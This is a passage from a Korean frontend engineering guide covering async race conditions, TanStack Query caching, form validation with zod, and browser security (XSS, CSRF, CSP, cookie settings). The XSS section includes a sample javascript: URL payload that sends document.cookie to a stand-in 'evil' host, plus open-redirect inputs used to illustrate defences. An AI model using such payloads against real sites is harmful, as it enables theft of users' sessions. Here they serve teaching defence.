    if (term.length < 2) { setItems([]); return; }
    const ac = new AbortController();
    const t = setTimeout(() => {                    // 250ms 디바운스
      searchApi(term, ac.signal)
        .then((r) => { setItems(r); setError(null); })
        .catch((e: unknown) => {
          const err = toApiError(e);
          if (err.kind !== "aborted") setError(err); // 취소는 에러가 아닙니다
        });
    }, 250);
    // ★ term 이 바뀌면 React 가 이 정리 함수를 먼저 부릅니다
    return () => { clearTimeout(t); ac.abort(); };
  }, [term]);

  return { items, error };
}
abort 의 덤 — 끊긴 요청은 브라우저가 연결을 정리하므로 동시 연결 수도 줄어듭니다. 다만 서버는 이미 받은 요청을 계속 처리할 수 있습니다. abort 는 '응답을 안 보겠다'이지 '서버 작업 취소'가 아닙니다.

처방 ② — 응답이 '지금 것'인지 확인 · ③ 키로 분리

// ② abort 할 수 없는 비동기(SDK · IndexedDB)일 때 — 깃발 하나
useEffect(() => {
  let current = true;
  loadProfile(userId).then((p) => {
    if (current) setProfile(p);     // userId 가 바뀐 뒤 온 응답은 버림
  });
  return () => { current = false; };
}, [userId]);
// ③ 가장 실무적인 답 — 검색어를 캐시 '키'에 넣는다
const deferred = useDeferredValue(term);
const { data = [], isFetching } = useQuery({
  queryKey: ["search", deferred],
  queryFn: ({ signal }) => searchApi(deferred, signal),
  enabled: deferred.length >= 2,
  placeholderData: (prev) => prev,  // 새 결과 오기 전까지 이전 목록 유지
  staleTime: 30_000,
});
// 늦게 온 "re" 응답은 ["search","re"] 칸에 들어갈 뿐
// 지금 보고 있는 ["search","react"] 칸을 덮지 못합니다
재현하는 법 — DevTools Network 의 요청을 우클릭 → Block request URL 이나 Override 로 특정 요청만 늦추거나, 개발용 MSW 핸들러에 await delay(Math.random() * 1500) 을 넣어 순서를 흔듭니다.

언마운트 후 — 경고는 사라졌지만 버그는 남았다 🟡 중급

진짜 문제는 setState 가 아니라 '화면 일'

// React 18 부터 "unmounted component 에 setState" 경고는 없어졌습니다.
// 언마운트된 컴포넌트의 setState 는 그냥 무시되니까요.
// 남은 문제는 await 뒤에 오는 '부수 효과'입니다.

async function onSave() {
  await ordersApi.save(form);
  navigate("/orders");     // ❌ 저장 중 사용자가 다른 메뉴로 갔다면? → 강제로 끌려감
  inputRef.current?.focus(); // ❌ 이미 사라진 화면
}

// ✅ 저장은 끝까지, '화면 일'만 화면이 살아 있을 때
function useAliveSignal() {
  const ref = useRef<AbortController | null>(null);
  useEffect(() => {
    ref.current = new AbortController();
    return () => ref.current?.abort();
  }, []);
  return () => ref.current?.signal.aborted ?? true;
}

const isGone = useAliveSignal();
async function onSave2() {
  await ordersApi.save(form);
  if (isGone()) return;    // 떠났으면 이동·포커스 생략 (전역 토스트는 띄워도 됨)
  navigate("/orders");
}

레이스 유형 한 장 정리

유형증상처방
응답 순서 뒤집힘검색 · 필터 · 탭 전환 후 엉뚱한 목록abort · 키 분리 · 깃발
props 바뀐 뒤 도착A 사용자 화면에 B 의 프로필effect 의존성 + 깃발
떠난 뒤 화면 일다른 페이지에서 갑자기 이동 · 포커스살아 있는지 확인
중복 제출주문 · 결제 두 번pending 잠금 + 멱등 키
낙관적 갱신 실패좋아요가 켜진 채 남음롤백 + 재조회
조회가 갱신을 덮음수정 직후 옛 값으로 되돌아감갱신 전 cancelQueries
StrictMode 가 effect 를 두 번 돌리는 이유 — 개발 모드에서 마운트 → 정리 → 마운트를 일부러 해 봅니다. 정리 함수를 안 쓴 effect 는 여기서 요청이 두 번 나가며 들통납니다. 끄지 말고 정리 함수를 쓰세요.

실무에선 이렇게 — 중복 제출과 낙관적 업데이트 🔴 실무

중복 제출 — 화면 잠금은 1차, 서버 멱등 키가 최종

type Result = { ok: true; orderId: string } | { ok: false; message: string };

function OrderForm({ cartId }: { cartId: string }) {
  // 폼을 여는 순간 키 하나 — 같은 주문 시도는 같은 키 (https · localhost 에서만 동작)
  const [idemKey] = useState(() => crypto.randomUUID());

  const [state, submit, isPending] = useActionState(
    async (_prev: Result | null, fd: FormData): Promise<Result> => {
      try {
        const o = await request<{ id: string }>("/orders", {
          method: "POST",
          json: { cartId, memo: fd.get("memo") },
          headers: { "Idempotency-Key": idemKey },   // 서버가 같은 키를 한 번만 처리
        });
        return { ok: true, orderId: o.id };
      } catch (e) {
        return { ok: false, message: toApiError(e).message };
      }
    },
    null,
  );

  return (
    <form action={submit}>
      <textarea name="memo" />
      <button disabled={isPending}>{isPending ? "주문 중…" : "주문하기"}</button>
      {state && !state.ok && <p role="alert">{state.message}</p>}
    </form>
  );
}
버튼 잠금만으로는 부족합니다 — 새로고침 후 재전송, 두 탭, 네트워크 재시도는 화면이 못 막습니다. 서버가 Idempotency-Key 를 저장해 두고 같은 키면 처음 결과를 그대로 돌려줘야 끝납니다(멱등성은 서버 가이드의 대규모 탭 참고).

낙관적 업데이트 — 실패하면 되돌리고, 마지막엔 재조회

// React 19 — useOptimistic: 트랜지션이 끝나면 자동으로 실제 값으로 돌아갑니다
function LikeButton({ postId, liked, count }: { postId: string; liked: boolean; count: number }) {
  const qc = useQueryClient();
  const [opt, setOpt] = useOptimistic(
    { liked, count },
    (s, next: boolean) => ({ liked: next, count: s.count + (next ? 1 : -1) }),
  );

  const toggle = () =>
    startTransition(async () => {
      const next = !opt.liked;
      setOpt(next);                                         // 즉시 반영
      try {
        await request(`/posts/${postId}/like`, { method: next ? "POST" : "DELETE" });
        await qc.invalidateQueries({ queryKey: ["post", postId] });  // 서버 값으로 맞춤
      } catch {
        toast.error("좋아요를 반영하지 못했습니다");          // opt 는 알아서 원래 값으로
      }
    });

  return (
    <button aria-pressed={opt.liked} onClick={toggle}>
      {opt.liked ? "♥" : "♡"} {opt.count}
    </button>
  );
}
// TanStack Query 판 — 목록 캐시를 직접 고치고, 실패하면 스냅샷으로 복구
useMutation({
  mutationFn: (t: Todo) => todosApi.update(t),
  onMutate: async (t) => {
    await qc.cancelQueries({ queryKey: ["todos"] });     // ★ 진행 중 조회가 덮지 않게
    const prev = qc.getQueryData<Todo[]>(["todos"]);
    qc.setQueryData<Todo[]>(["todos"], (old = []) => old.map((x) => (x.id === t.id ? t : x)));
    return { prev };
  },
  onError: (_e, _t, ctx) => { if (ctx?.prev) qc.setQueryData(["todos"], ctx.prev); },
  onSettled: () => qc.invalidateQueries({ queryKey: ["todos"] }),
});
낙관적 갱신이 실패할 때 — 위는 화면, 아래는 네트워크 0 ms 5 ms 300 ms 305 ms 400 ms 좋아요 클릭 즉시 101 표시 (낙관) 100 으로 되돌림 + 토스트 사용자에게 이유를 알림 POST 전송 500 응답 재조회 → 서버 값과 맞춤 사실이 아닌 101 을 본 시간 되돌리기만 하고 끝내면 다른 탭 · 다른 사람의 변경이 빠집니다 — 마지막엔 재조회
낙관적 갱신은 실패가 드문 작업(좋아요 · 체크 표시)에만 — 결제 · 재고처럼 실패가 흔하면 기다리게 하는 편이 정직합니다.
정리 — 비동기 코드를 쓸 때마다 "이 응답이 도착했을 때 세상이 아직 그대로인가"를 물으세요. 아니면 abort · 깃발 · 키 분리 중 하나로 버리고, 쓰기 작업은 잠금 + 멱등 키, 낙관적 갱신은 롤백 + 재조회까지 한 세트입니다.
PROD 05

서버 상태 캐시 — staleTime 을 정하는 법

서버에서 가져온 데이터는 내 것이 아니라 남의 것의 사본입니다. 언제든 낡을 수 있고, 언제 다시 물어볼지를 정해야 합니다. TanStack Query(v5)는 그 결정을 숫자 두 개로 줄여 줍니다. 기본 사용법은 ⚛️ React 탭 a12, 여기서는 값을 정하는 기준입니다.

서버 상태와 화면 상태는 다른 물건

서버 상태화면(클라이언트) 상태
예주문 목록 · 프로필 · 재고모달 열림 · 입력 중 값 · 선택한 탭
주인서버 (나는 사본)나
낡을 수 있나항상아니오
도구TanStack Query · SWR · RTK QueryuseState · Zustand · Pinia
가장 흔한 설계 실수 — 서버 데이터를 Redux · Zustand 같은 전역 스토어에 복사해 두는 것. 로딩 · 에러 · 재조회 · 중복 요청 제거 · 취소를 전부 손으로 다시 만들게 되고, 무효화를 깜빡하면 옛 값이 영원히 남습니다.

앱 전체 기본값 — 처음 한 번 정한다

// src/app/query-client.ts
import { QueryClient } from "@tanstack/react-query";
import { ApiError } from "@/shared/http/error";

export const queryClient = new QueryClient({
  defaultOptions: {
    queries: {
      staleTime: 60_000,            // 기본 0 → 1분: 화면 이동마다 재요청하는 것을 막음
      gcTime: 5 * 60_000,           // (v4 의 cacheTime) 안 쓰는 캐시를 버리기까지
      refetchOnWindowFocus: true,   // 탭으로 돌아오면 낡은 것만 재검증 — 유지 권장
      retry: (count, err) =>        // 4xx 는 재시도해도 소용없음
        err instanceof ApiError && err.retryable && count < 2,
    },
    mutations: { retry: 0 },        // 쓰기는 자동 재시도 금지 (PROD 04 멱등성)
  },
});
재시도를 두 곳에서 하지 마세요 — PROD 03 의 request() 도 GET 을 재시도하므로 여기서도 3번을 두면 최악의 경우 3 × 3 = 9번 요청이 나갑니다. 한 층에서만 재시도합니다.
캐시 항목 하나의 생애 — 숫자 두 개가 경계를 정합니다 fetch 완료 (기본 0) staleTime 경과 (언마운트) 마지막 구독자 사라짐 (기본 5분) gcTime 경과 fresh (신선) stale (낡음 · 사용 중) inactive (안 쓰는 중) 삭제 재마운트해도 요청하지 않음 마운트 · 포커스 · 재연결 시 옛 값 먼저, 뒤에서 재요청 돌아오면 캐시 즉시 표시 + 뒤에서 재요청 staleTime 은 '언제 다시 물어볼까', gcTime 은 '언제 버릴까' — 다른 질문입니다 gcTime 이 staleTime 보다 짧으면 신선한 캐시를 스스로 버리게 됩니다
로딩 스피너가 자주 보인다면 staleTime 이 0이라서인 경우가 대부분입니다 — 신선 구간이 없으니 매번 다시 묻습니다.

값 정하기 — "얼마나 낡아도 괜찮은가" 🟡 중급

staleTime 고르기 — 마름모가 질문입니다 남이 자주 바꾸는 데이터인가? 예 staleTime 0 ~ 10초 재고 · 알림 · 실시간 목록 아니오 내가 바꾸고 직접 무효화할 수 있나? 예 1 ~ 5분 + 변경 후 무효화 내 프로필 · 장바구니 · 설정 아니오 거의 안 바뀌나? 예 Infinity 코드표 · 국가 목록 · 약관 아니오 — 기본 60초 재 보고 조정 데이터 종류마다 답이 다릅니다 — 앱 전체에 하나만 두지 마세요
staleTime 은 기술 값이 아니라 업무 질문입니다 — "재고가 10초 늦게 보여도 되나요?"를 기획자에게 물어도 됩니다.

실무에선 이렇게 — 키 설계 · 무효화 · 페이지 넘기기 🔴 실무

키 공장 — 무효화 범위를 키 모양으로 정한다

// src/features/orders/keys.ts
export const orderKeys = {
  all:    ["orders"] as const,
  lists:  () => [...orderKeys.all, "list"] as const,
  list:   (f: { status?: string; page: number }) => [...orderKeys.lists(), f] as const,
  detail: (id: string) => [...orderKeys.all, "detail", id] as const,
};

// 키는 '앞부분이 같으면' 함께 무효화됩니다 (접두사 일치)
qc.invalidateQueries({ queryKey: orderKeys.lists() });    // 모든 목록 · 상세는 그대로
qc.invalidateQueries({ queryKey: orderKeys.all });        // 주문 전부

// 변경 후 처리 — 두 가지 방법
const cancel = useMutation({
  mutationFn: (id: string) => ordersApi.cancel(id),
  onSuccess: (_void, id) => {
    // ① 응답에 새 값이 있으면 직접 넣기 (요청 0번)
    qc.setQueryData<Order>(orderKeys.detail(id),
      (o) => (o ? { ...o, status: "canceled" } : o));
    // ② 영향받는 목록은 무효화 (보고 있는 것만 즉시 재요청)
    return qc.invalidateQueries({ queryKey: orderKeys.lists() });
  },
});
onSuccess 에서 무효화 Promise 를 return 하면 재조회가 끝날 때까지 isPending 이 유지됩니다. "저장했는데 목록에 바로 안 보인다"는 제보가 줄어듭니다.

페이지네이션 · 무한 스크롤

// ① 번호 페이지 — 다음 페이지가 올 때까지 이전 페이지를 유지 (깜빡임 제거)
import { keepPreviousData, useInfiniteQuery, useQuery } from "@tanstack/react-query";

const { data, isPlaceholderData } = useQuery({
  queryKey: orderKeys.list({ page }),
  queryFn: ({ signal }) => ordersApi.page(page, signal),
  placeholderData: keepPreviousData,
});
// 다음 페이지를 미리 — 버튼 누르면 즉시 표시
useEffect(() => {
  if (data?.hasNext) qc.prefetchQuery({
    queryKey: orderKeys.list({ page: page + 1 }),
    queryFn: ({ signal }) => ordersApi.page(page + 1, signal),
  });
}, [data, page, qc]);
// ② 무한 스크롤 — 커서 기반 (중간 삽입에도 중복 · 누락 없음)
const feed = useInfiniteQuery({
  queryKey: ["feed"],
  queryFn: ({ pageParam, signal }) => feedApi.list(pageParam, signal),
  initialPageParam: null as string | null,
  getNextPageParam: (last) => last.nextCursor,   // null 이면 끝
  getPreviousPageParam: (first) => first.prevCursor,  // maxPages 를 쓰면 필수 — 버린 앞 페이지를 위로 올라갈 때 다시 받음
  maxPages: 10,                                 // 오래 내리면 앞 페이지는 버림 (메모리)
});
const items = feed.data?.pages.flatMap((p) => p.items) ?? [];
// 바닥 감지는 IntersectionObserver → feed.fetchNextPage()
// 수천 행이면 가상 스크롤(@tanstack/react-virtual)과 함께
offset 무한 스크롤의 함정 — ?page=3 을 읽는 사이 새 글이 하나 올라오면 한 칸씩 밀려 같은 글이 두 번 보입니다. 피드처럼 앞에 계속 쌓이는 목록은 커서(마지막 id · 시각)로 받으세요.
정리 — 서버 데이터는 전역 스토어에 복사하지 말고 쿼리 캐시에 둡니다. staleTime 은 데이터 종류마다 업무 기준으로, gcTime 은 그보다 길게, 무효화 범위는 키 공장의 모양으로 정하고, 재시도는 한 층에서만 합니다.
PROD 06

폼과 검증 — 규칙은 한 곳, 메시지는 사람에게

프론트 검증은 사용자 편의, 서버 검증은 보안입니다. 둘 다 필요한데 규칙을 두 번 쓰면 반드시 어긋납니다. zod 스키마 하나를 프론트와 백이 같이 import 하고, 서버가 거절한 이유를 해당 입력칸 아래까지 정확히 돌려보내는 것이 이 섹션의 목표입니다.

스키마 하나를 여섯 곳이 가져다 씁니다 — 규칙의 원본은 한 파일 zod 스키마 packages/schema TS 타입 z.infer 폼 검증 zodResolver API 핸들러 safeParse 에러 문구 한 곳에서 테스트 픽스처 OpenAPI 문서 생성 입력 즉시 같은 규칙 422 + 필드별 이유 코드와 안 어긋남 경계값 검증 프론트 검증은 우회됩니다 — 서버의 safeParse 가 진짜 문지기입니다
규칙을 공유 패키지에 두면 "프론트는 통과했는데 서버가 거절" 하는 불일치가 구조적으로 사라집니다.

스키마 — 프론트 · 백이 같은 파일을 import

// packages/schema/src/signup.ts     (Zod 4 기준 · v3 는 z.string().email())
import { z } from "zod";

export const SignupSchema = z
  .object({
    email: z.email("이메일 형식이 아닙니다"),
    password: z.string()
      .min(8, "8자 이상 입력해 주세요")
      .regex(/[0-9]/, "숫자를 하나 이상 넣어 주세요"),
    passwordConfirm: z.string(),
    nickname: z.string().trim()
      .min(2, "2자 이상 입력해 주세요")
      .max(20, "20자 이하로 입력해 주세요"),
    agreeTerms: z.literal(true, { message: "약관에 동의해 주세요" }),
  })
  .refine((v) => v.password === v.passwordConfirm, {
    path: ["passwordConfirm"],              // ★ 에러를 붙일 칸을 지정
    message: "비밀번호가 일치하지 않습니다",
  });

export type Signup = z.infer<typeof SignupSchema>;
export const SIGNUP_FIELDS = ["email", "password", "passwordConfirm",
                              "nickname", "agreeTerms"] as const;
메시지도 스키마에 — 문구가 컴포넌트에 흩어지면 같은 규칙인데 화면마다 말이 다릅니다. 다국어라면 메시지 대신 코드("password.tooShort")를 넣고 화면에서 번역합니다. zod 자체는 🧰 도구 탭 o07 에서 자세히 다룹니다.

서버 — 거절할 땐 '어느 칸이 왜'까지

// apps/api — Express 5 (async 핸들러의 에러를 자동으로 넘겨줍니다)
import { z } from "zod";
import { SignupSchema } from "@acme/schema";

app.post("/api/signup", async (req, res) => {
  const r = SignupSchema.safeParse(req.body);
  if (!r.success) {
    return res.status(422).json({
      code: "VALIDATION_FAILED",
      message: "입력값을 확인해 주세요",
      details: z.flattenError(r.error).fieldErrors,  // { email?: string[], … }
    });
  }
  // 스키마로는 못 거르는 규칙 — DB 를 봐야 아는 것
  if (await users.existsByEmail(r.data.email)) {
    return res.status(409).json({
      code: "EMAIL_TAKEN",
      message: "이미 가입된 이메일입니다",
      details: { email: ["이미 가입된 이메일입니다. 로그인하시겠어요?"] },
    });
  }
  const user = await users.create(r.data);
  res.status(201).json({ id: user.id });
});
응답 모양을 팀 약속으로 — { code, message, details } 처럼 모든 API 가 같은 에러 모양을 주면 PROD 03 의 httpError() 하나로 전부 받을 수 있습니다. 서버마다 다르면 화면마다 파싱 코드가 생깁니다.

react-hook-form 연동 — 서버 에러를 칸 아래로 🟡 중급

폼 컴포넌트

import { useForm } from "react-hook-form";
import { zodResolver } from "@hookform/resolvers/zod";
import { SignupSchema, SIGNUP_FIELDS, type Signup } from "@acme/schema";

export function SignupForm() {
  const { register, handleSubmit, setError,
          formState: { errors, isSubmitting } } = useForm({
    resolver: zodResolver(SignupSchema),
    mode: "onTouched",   // 처음엔 칸을 떠날 때, 한 번 틀린 칸은 입력마다 재검사
  });

  const onSubmit = async (data: Signup) => {
    try {
      await authApi.signup(data);
      navigate("/welcome");
    } catch (e) {
      applyServerErrors(toApiError(e), setError, SIGNUP_FIELDS);
    }
  };

  return (
    <form onSubmit={handleSubmit(onSubmit)} noValidate>
      <label htmlFor="email">이메일</label>
      <input id="email" type="email" autoComplete="email"
        aria-invalid={errors.email ? true : undefined}
        aria-describedby={errors.email ? "email-err" : undefined}
        {...register("email")} />
      {errors.email && <p id="email-err" className="err">{errors.email.message}</p>}

      {/* … 나머지 칸도 같은 모양 — Field 컴포넌트로 묶어 두세요 … */}

      {errors.root?.server && <p role="alert">{errors.root.server.message}</p>}
      <button disabled={isSubmitting}>가입하기</button>
    </form>
  );
}

서버 에러 매핑 — 한 번 만들어 모든 폼에

// src/shared/form/apply-server-errors.ts
import type { FieldValues, Path, UseFormSetError } from "react-hook-form";
import type { ApiError } from "@/shared/http/error";

export function applyServerErrors<T extends FieldValues>(
  err: ApiError,
  setError: UseFormSetError<T>,
  fields: readonly Path<T>[],
) {
  const details = (err.details ?? {}) as Record<string, string[] | undefined>;
  let mapped = 0;
  for (const name of fields) {
    const msg = details[name]?.[0];
    if (!msg) continue;
    // 첫 번째 틀린 칸으로 포커스 — 키보드 · 스크린리더 사용자에게 중요
    setError(name, { type: "server", message: msg }, { shouldFocus: mapped === 0 });
    mapped++;
  }
  // 칸에 붙일 수 없는 에러(500 · 네트워크)는 폼 위 요약으로
  if (mapped === 0) setError("root.server", { type: "server", message: err.message });
}
Next.js 라면 — Server Actions 에서 같은 스키마로 safeParse 하고 fieldErrors 를 돌려주는 패턴이 ▲ Next.js 탭 f05 에 있습니다. 폼 기초(label · 제어/비제어)는 ⚛️ React 탭 a08 · 📄 HTML 탭 h05.

실무에선 이렇게 — 에러 메시지 UX 규칙 🔴 실무

질문규칙나쁜 예 → 좋은 예
언제 보여 주나입력 중에는 참고, 칸을 떠날 때 처음 검사 (onTouched)첫 글자부터 빨간 글씨 → 다 쓰고 나갈 때
어디에해당 칸 바로 아래 + 제출 실패 시 상단 요약alert() 한 번 → 칸마다
무엇을무엇이 틀렸나가 아니라 어떻게 고치나"형식 오류" → "숫자를 하나 이상 넣어 주세요"
색만으로?아이콘 · 문장 함께, aria-invalid · aria-describedby 연결테두리만 빨강 → 문장 + 연결
제출 실패 후첫 번째 틀린 칸으로 포커스화면 맨 위에 머묾 → 칸으로 이동
서버 409해당 칸에 + 다음 행동 제안"이미 존재" → "로그인하시겠어요?" 링크
서버 5xx입력값은 절대 지우지 않음 + 다시 시도폼 초기화 → 그대로 두고 재시도 버튼
비밀번호 규칙제출 전에 미리 보여 주기틀린 뒤에 알려 줌 → 칸 아래 상시 안내

자주 밟는 함정

// ① 숫자 칸 — input 의 값은 항상 문자열입니다
register("qty", { valueAsNumber: true });   // 빈 칸이면 NaN → 스키마에서 걸러야
// 스키마 쪽: z.number({ message: "숫자를 입력해 주세요" }).int().min(1)

// ② 체크박스 하나 — 값이 boolean, 약관은 z.literal(true)

// ③ 공백만 넣은 이름 — .trim() 을 스키마에 (min 보다 앞에)

// ④ 날짜 칸 — "2026-10-01" 문자열 그대로 두고 서버로 (PROD 11)
//    new Date() 로 바꾸는 순간 시간대 문제가 시작됩니다

// ⑤ 수정 폼 — 서버 데이터가 늦게 오면 defaultValues 가 비어 있음
useEffect(() => { if (data) reset(data); }, [data, reset]);

자동 저장 · 이탈 방지

// 긴 폼은 '임시 저장'이 사용자 신뢰를 지킵니다
const { watch, formState: { isDirty } } = form;
const values = watch();
useEffect(() => {
  const t = setTimeout(() =>
    sessionStorage.setItem("draft:post", JSON.stringify(values)), 800);
  return () => clearTimeout(t);
}, [values]);

// 저장 안 하고 떠나려 하면 확인 (브라우저 기본 대화상자)
useEffect(() => {
  if (!isDirty) return;
  const onBeforeUnload = (e: BeforeUnloadEvent) => { e.preventDefault(); };
  addEventListener("beforeunload", onBeforeUnload);
  return () => removeEventListener("beforeunload", onBeforeUnload);
}, [isDirty]);
비밀번호 · 카드번호는 임시 저장 금지 — 저장 전에 해당 필드를 빼세요. sessionStorage 도 같은 출처의 스크립트는 다 읽습니다(PROD 07).
정리 — 규칙은 공유 스키마 한 파일, 서버는 반드시 다시 검증하고 { code, message, details } 로 거절 이유를 돌려주며, 프론트는 그것을 칸 아래 + 첫 칸 포커스로 보여 줍니다. 실패해도 입력값은 지우지 않습니다.
PROD 07

보안 실무 — XSS · 토큰 · CSRF · CSP

프론트엔드 보안 사고는 대부분 남의 입력을 HTML 이나 URL 로 실행해서 시작합니다. React 가 기본으로 막아 주는 것과 막아 주지 않는 것을 구분하고, 뚫렸을 때 피해를 줄이는 두 번째 벽(CSP)까지 세웁니다. 공급망 · 프로토타입 오염은 🧬 전문가 탭 d13 에 있습니다.

React 가 막아 주는 것 · 안 막아 주는 것

// ✅ 텍스트로 넣으면 자동 이스케이프 — <script> 가 글자로 보일 뿐
<p>{comment.body}</p>

// ❌ 이름부터 위험하다고 말하는 API
<div dangerouslySetInnerHTML={{ __html: comment.body }} />

// ✅ HTML 이 꼭 필요하면(에디터 결과 · 마크다운) 정화 후에
import DOMPurify from "dompurify";
function RichText({ html }: { html: string }) {
  const clean = useMemo(
    () => DOMPurify.sanitize(html, { USE_PROFILES: { html: true } }), [html]);
  return <div className="prose" dangerouslySetInnerHTML={{ __html: clean }} />;
}

// ❌ URL 은 이스케이프로 안 막힙니다
<a href={user.website}>홈페이지</a>   // "javascript:fetch('//evil?c='+document.cookie)"
//    최근 React 는 javascript: 를 차단하지만, 거기에 기대지 말고 허용 목록으로

URL 은 허용 목록으로 · 리다이렉트는 같은 출처로

const ALLOWED = new Set(["http:", "https:", "mailto:", "tel:"]);

export function safeUrl(raw: string): string | undefined {
  try {
    const u = new URL(raw, location.origin);
    return ALLOWED.has(u.protocol) ? u.href : undefined;   // data: · javascript: 탈락
  } catch {
    return undefined;
  }
}
// <a href={safeUrl(user.website)} target="_blank" rel="noopener noreferrer">

// 로그인 후 ?next=… 로 돌려보내기 — '열린 리다이렉트' 방지
export function safeNext(next: string | null): string {
  if (!next) return "/";
  // "/orders" 만 허용. "//evil.com" · "/\evil.com" 은 다른 사이트로 갑니다
  if (!next.startsWith("/") || next.startsWith("//") || next.startsWith("/\\")) return "/";
  return next;
}
React 밖의 위험한 자리 — innerHTML · insertAdjacentHTML · eval · new Function · 문자열 setTimeout · iframe srcdoc · html: true 로 켠 마크다운 렌더러 · 차트 라이브러리의 HTML 툴팁 옵션. 코드 리뷰에서 이 단어들을 검색하세요.

토큰 저장 위치 — 무엇을 막고 무엇을 포기하나 🟡 중급

토큰을 어디에 둘까 — 초록일수록 안전 · 붉을수록 위험 XSS 로 탈취 CSRF 새로고침 후 구현 localStorage 그대로 탈취 해당 없음 유지 가장 쉬움 메모리 변수만 어려움 · 사용은 가능 해당 없음 사라짐 쉬움 HttpOnly 쿠키 세션 읽을 수 없음* SameSite + 토큰 유지 서버 세션 필요 메모리 + refresh 쿠키 짧은 수명만 노출 재발급 경로만 재발급으로 복원 보통 (PROD 03) * HttpOnly 여도 XSS 가 있으면 그 페이지에서 요청은 보낼 수 있습니다 — XSS 방어가 먼저 SPA 권장: access 는 메모리, refresh 는 HttpOnly · Secure · SameSite 쿠키
정답 하나가 있는 게 아니라 무엇을 포기할지 고르는 표입니다 — localStorage 는 "XSS 한 번이면 끝"을 받아들이는 선택입니다.

쿠키 설정 — 속성 하나하나가 방어선

// 서버(Express) — refresh 토큰을 쿠키로 내려줄 때
res.cookie("refresh_token", token, {
  httpOnly: true,         // JS 에서 document.cookie 로 못 읽음 → XSS 탈취 차단
  secure: true,           // https 에서만 전송
  sameSite: "lax",        // 다른 사이트에서 시작된 POST 에는 안 붙음 → CSRF 1차 방어
  path: "/api/auth",      // 재발급 경로에만 실려 감 — 다른 요청엔 노출 안 됨
  maxAge: 14 * 24 * 60 * 60 * 1000,   // 14일 (ms)
});
// 재발급할 때마다 refresh 토큰도 새로 발급(회전)하고 옛 것은 폐기 — 도난 감지
SameSite다른 사이트에서 온 요청에
Strict절대 안 붙음 — 외부 링크로 들어오면 로그아웃처럼 보임
Lax (기본)링크 이동(GET)에만 붙음 — 대부분의 기본값
None항상 붙음 — Secure 필수, CSRF 토큰 필수

CSRF — 쿠키로 인증한다면 남은 구멍을 막는다

// CSRF = 다른 사이트가 '내 쿠키를 실은 요청'을 대신 보내게 하는 공격
// SameSite=Lax 로 대부분 막히지만, 아래 경우엔 토큰을 추가합니다
//  · SameSite=None 이 필요한 구조 (다른 도메인에 임베드)
//  · GET 으로 상태를 바꾸는 오래된 API  ← 이것부터 고치세요
//  · 같은 사이트의 다른 서브도메인을 믿을 수 없을 때

// 더블 서브밋: 서버가 내려준 csrf 쿠키(HttpOnly 아님)를 헤더로 다시 보냄
function csrfHeader(): Record<string, string> {
  const m = document.cookie.match(/(?:^|; )csrf=([^;]+)/);
  return m ? { "X-CSRF-Token": decodeURIComponent(m[1]) } : {};
}
// request() 의 상태 변경 요청(POST · PUT · PATCH · DELETE)에 자동으로 붙이기
// 서버는 헤더 값 === 쿠키 값(서명 검증)인지 확인 — 다른 사이트는 쿠키를 '읽을' 수 없음
Bearer 헤더 방식은 CSRF 가 없습니다 — 브라우저가 자동으로 실어 주지 않으니까요. 대신 그 토큰을 JS 가 들고 있어야 하므로 XSS 에 노출됩니다. 위 표가 말하는 맞교환이 이것입니다.

실무에선 이렇게 — CSP 를 서비스 중단 없이 켜기 🔴 실무

CSP 도입 — 앞의 두 단계는 사용자 영향이 0 입니다 Report-Only 위반만 수집 정리 인라인 제거 · nonce 일부 강제 관리자 화면부터 전체 강제 보고는 계속 Trusted Types DOM 대입 잠금 몇 주 걸려도 됩니다 — 위반 보고가 0 이 될 때까지 하나라도 막히면 기능이 깨집니다 — 배포 직후 보고를 지켜보기 처음부터 강제 모드로 켜면 채팅 위젯 · 결제창 · 분석 스크립트가 조용히 죽습니다
CSP 는 XSS 를 못 생기게 하는 게 아니라, 생겨도 실행되지 못하게 하는 두 번째 벽입니다.

nonce 기반 정책 — 요청마다 새 난수

// HTML 을 서버가 내려준다면 (Express 예)
import crypto from "node:crypto";

app.use((req, res, next) => {
  const nonce = crypto.randomBytes(16).toString("base64");
  res.locals.nonce = nonce;                  // 템플릿의 <script nonce="…"> 에 사용
  res.setHeader("Content-Security-Policy-Report-Only", [   // ① 먼저 보고만
    "default-src 'self'",
    `script-src 'nonce-${nonce}' 'strict-dynamic'`,  // nonce 붙은 스크립트 + 그것이 부른 것
    "style-src 'self' 'unsafe-inline'",               // 스타일은 나중에 조이기
    "img-src 'self' data: https://cdn.example.com",
    "connect-src 'self' https://api.example.com",
    "object-src 'none'",
    "base-uri 'none'",
    "frame-ancestors 'none'",                         // 클릭재킹 방지
    "report-to csp",
  ].join("; "));
  res.setHeader("Reporting-Endpoints", 'csp="/csp-report"');
  next();
});
// ④ 단계에서 헤더 이름만 Content-Security-Policy 로 바꿉니다

정적 SPA · 프레임워크별 메모

정적 파일로 배포하는 Vite SPA
  · 요청마다 nonce 를 못 만들면 → 빌드 시 해시('sha256-…') 방식
  · Vite 의 html.cspNonce 옵션은 자리표시자만 넣어 줍니다
    → 실제 값은 서버(Nginx · CDN 엣지)가 요청마다 치환해야 함

Next.js
  · 미들웨어(프록시)에서 nonce 생성 → 헤더로 전달 → 레이아웃에서 읽기
  · 자세한 것은 ▲ Next.js 탭

서드파티 스크립트
  · 태그 매니저가 스크립트를 '주입'하는 구조면 strict-dynamic 이 필수
  · 결제 · 지도 SDK 는 문서에 필요한 도메인 목록이 있습니다
보안 헤더한 줄 효과
Strict-Transport-Securityhttps 강제 (HSTS)
X-Content-Type-Options: nosniffMIME 추측 금지
Referrer-Policystrict-origin-when-cross-origin — 경로 유출 방지
Permissions-Policy카메라 · 위치 등 안 쓰는 권한 끄기
정리 — 사용자 입력은 텍스트로만 렌더하고, HTML 은 DOMPurify, URL 은 허용 목록으로 거릅니다. 토큰은 access 는 메모리 · refresh 는 HttpOnly 쿠키, 쿠키 인증이면 SameSite + CSRF 토큰, 마지막으로 CSP 를 Report-Only 부터 단계적으로 켭니다.
PROD 08

에러 모니터링 — 사용자보다 먼저 안다

백엔드 에러는 서버 로그에 남지만, 프론트 에러는 사용자 브라우저에서 났다가 사라집니다. 제보가 오기 전에 알려면 수집기가 필요하고, 수집한 뒤에는 무엇부터 고칠지 정하는 기준이 필요합니다. 여기서는 Sentry 를 예로 들지만 절차는 어떤 도구든 같습니다. 로그 설계는 📝 로깅 탭.

